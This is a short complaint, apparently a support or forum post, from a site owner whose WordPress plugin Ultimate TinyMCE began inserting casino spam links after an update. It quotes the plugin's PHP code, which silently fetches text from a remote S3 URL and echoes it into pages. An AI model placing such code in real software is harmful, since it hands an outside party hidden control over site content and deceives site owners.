Complaint

Hi! I would like to complain about a plugin.
It’s called Ultimate TinyMCE Version 4.3.1.3 | By Josh Lobe. After updating it created on my website links to other sites like casino and etc.
I contacted my hosting provider and he showed me this /www/learningrussian.biz/wp-content/plugins/ultimate-tinymce/includes/jwl_rocket.php
data was coming from here as he said: https://s3.amazonaws.com/UltimateMCE/output.txt
Then he showed me this and said it was a harmful code:
$output = @file_get_contents(“https://s3.amazonaws.com/UltimateMCE/output.txt”;);

$str = “”;

if ($output === false ) {
$str= “”;
} else {
$str = $output;
}

echo SpinTax($str);

I don’t really understand. It seems to be a popular plugin and yet it posted on my website links. I am going to delete this plugin.